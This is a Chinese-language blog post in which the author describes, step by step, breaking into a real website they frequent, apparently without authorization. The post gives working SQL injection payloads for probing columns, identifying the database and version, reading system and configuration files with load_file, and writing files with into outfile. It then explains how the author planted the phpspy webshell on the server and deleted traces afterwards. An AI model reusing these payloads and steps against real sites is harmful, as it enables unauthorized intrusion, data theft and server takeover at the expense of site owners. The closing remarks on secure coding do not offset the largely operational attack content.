最近要做一个网站,知道现在黑客太多,网站很容易受到攻击,如果仅靠网管在运维的过程中进行防范是不够的,还需要从源代码就开始考虑安全性的问题。最好的防守就是进攻,应用到此就是自己去做黑客,试着去渗透一些网站,从中熟悉攻击的方法和黑客的思维方式,这样才知道怎么去修补代码中的漏洞。换位思考,知己知彼,百战不殆。以前并没有太关注黑客攻击方面的东西,不过还是知道对网站危害最大的就是SQL注入了。上网搜索相关的文章,在熟悉SQL和数据库的情况下还是容易把注入原理搞清楚的。一、寻找注入点 先拿这几天常去的网站测试一下,因为熟悉网站的链接结构,所以容易寻找漏洞。一试还真有注入点:listpic.php?sortid=1,填成 listpic.php?sortid=1 and 1<> 1,然后再试 listpic.php?sortid=1 and 1=1,通过显示内容的变化马上判断出存在注入点。二、分析注入点 注入点找到之后就要分析这个注入点,以便后续利用。首先分析字段数,这可以通过添加 order by n 来测试,n指的是第几个字段,从1开始计数。这个方法对于mysql和mssql都是有效的,其他数据库还没有试过。 先试 listpic.php?sortid=1 order by 1,再试 listpic.php?sortid=1 order by 2,第二次显示内容不正确,说明该查询只返回一个字段值。 分析页面显示内容,可以得知返回的字段值为查询图片类别的名称,并在页面上有显示。 注入点上的值能够直接在页面上显示出来,这为测试注入语句提供了很大的便利性。 现在可以确定通过 listpic.php?sortid=1 and 1<>1 union select ??? 即可把我们想要知道的信息显示出来,当然,前提是要后台数据库支持union查询,现在的数据库基本上都是支持的。三、网站情况分析 1、后台数据库 其实确定数据库的原理很简单,就是用一些某种数据库特有的表或函数注入到SQL里面,如果执行正确,就可以确定是该种数据库了。比如mssql的sysobjects表,mysql的hex函数等。 由于网站是PHP开发的,因此采用mysql数据库的可能性较大,先测试是否为mysql。执行 listpic.php?sortid=1 and 1<>1 union select hex('abc'),结果显示出了'abc'的十六进制编码,由此确定数据库为mysql。 再执行 listpic.php?sortid=1 and 1<>1 union select version(),得到版本号为 5.1.30-community,继续通过database()、current_user()得到数据库名和当前登录用户。运气不错,登录用户是 root ,数据库权限上是不会存在问题的了。 知道是mysql数据库,当然要用load_file和into outfile来测试一下有没有文件读写权限了。 先假设该网站是windows系统,执行listpic.php?sortid=1 and 1<>1 union select load_file('c:/boot.ini'),哈哈,读出来了。再测试写文件,listpic.php?sortid=1 and 1<>1 union select 'abcdef' into outfile 'c:/windows/temp/tem1.tmp',然后读 listpic.php?sortid=1 and 1<>1 union select load_file('c:/windows/temp/tem1.tmp'),OK!有文件读写权限,看来拿下这个站应该是没什么问题了。2、WEB服务器 现在流行的web服务器无非就是apache和iis了,使用php+mysql搭配apache的可能性较大,不过确切信息也是很容易测试出来的。通过输入一个不存在的页面,看返回信息基本上就可以判断出来了。 比如输入 listpicabcsdf.php,返回http404页面,上面有“Internet 信息服务 (IIS)”字样,确定是IIS服务器。 应该还有其他更好的办法来判断web服务器类型,比如通过返回的http头,不过这就要借助工具或者自己写程序了。还是http404的方式最简单,但是在服务器自定义http404返回页面的情况下就无效了。 知道是IIS,那操作系统肯定是windows了,想都不用想。3、web路径 上面几步进展的很顺利,没想到在获取web绝对路径上卡了壳。原因还是因为自己经验太欠缺,对于各种配置文件的利于了解得不够。先是很快读出 'c:/windows/php.ini',知道php安装目录为'D:/php',且关闭了错误提示功能。之后 正确的猜测出mysql安装路径为'd:/mysql',再猜web目录时始终都在d盘打转,没想到后来才知道www目录在e盘,看来人有时候就是容易陷入自己给自己下的套。 折腾了两天,试了各种自己知道的办法,依然没有成功,郁闷得要抓狂!后来实在没办法了,加入天阳网络技术联盟的一个qq群,弱弱的向高手们提问,天阳的人很热心,马上就有人回复,在此要特别感谢lee,是他发的一份php常用注入方法帮了忙,里面“C:/WINDOWS/system32/inetsrv/MetaBase.xml //IIS配置文件”这一行内容提醒了我通过IIS配置信息去找web路径。其实之前也曾有这么试过,只是搞错了读取方法和路径,所以与它失之交臂。 好,执行 listpic.php?sortid=1 and 1<>1 union select load_file('C:/WINDOWS/system32/inetsrv/MetaBase.xml'),这里有个地方要注意,MetaBase.xml是UTF-8编码的文件,前面两个字节为 FF FE,输出显示是会显示为???乱码,实际上内容已经输出来了,通过查看网页源文件就能看到全部内容。 仔细查看MetaBase.xml,发现网站文件保存在“e:/www/www.xxxxx.com"目录下,该死,早知道试下e盘也用不着忙乎这么久,不过也好,从走弯路的过程中学到很多东西。四、得到webshell 现在就是想办法挂个webshell上去了,自己写暂时是写不出来了,只能用现成的。google搜索,找到angel写的phpspy2008.php,在本机测试一下,发现真是功能强大,不仅能够数据库管理、文件系统浏览、执行命令,还能备份数据库、打包文件下载,强列赞一个! 由于该网站只能上传图片文件,而且还验证了图片格式的正确性,所以直接上传大马的方式是行不通的。其实通过一句话木马把大马上传上去是最简单的办法,可惜当时我还不知道这个办法,按自己的思路是先写个简单上传的PHP页面,想办法写到web路径下,然后再通过它上传大马。 通过注入点检索 information_schema 库,发现图片类别描述字段是个text类型,好,先把upload.php进行十六进制编码,再复制到添加类别的输入框内,保存,得到sortid,然后 listpic.php?sortid=1 and 1<>1 union select sortdesc from sorttype where id=n into outfile 'e:/www/www.xxxxx.com/tmp.php',之后访问 www.xxxxx.com/tmp.php,上传phpspy.php,OK,成功! 其实自己的方法是很啰嗦且很麻烦的,不过终究是自己想出来的办法,比起直接用别人的方法还是更有利于理解渗透原理的。五、利用 接下来是怎么利用了,扫描时发现该服务器开了3389端口的,如果能取到administrator的密码那就能变成自己的肉鸡,不过这一步技术还没有掌握,只能通过webshell上去逛了。现在考虑的是一个问题,要不要在里面留一个提醒管理员的文件呢?六、清除痕迹 刚开始接触入侵,还不会彻底清除痕迹的,只是把自己制造出的文件删掉,管理员应该还是很容易看出我留下的脚印,不会有警察上门吧?总结:1、最大的体会就是网站的安全性太重要了,而且漏洞也太多了,每个程序员都应该要重视安全性,且要把它摆在第一位,而不能只去追求功能的完成度;2、知识的广度对于渗透是很重要的,有时候一点小细节就会决定渗透的成败3、先手工后工具,通过手工熟悉原理,通过工具提高效率4、多交流,多思考,多学习相关链接:1、天阳网络技术联盟 http://bbs.tian6.com/2、phpspy2008.php 下载 http://www.4ngel.net
记第一次网站入侵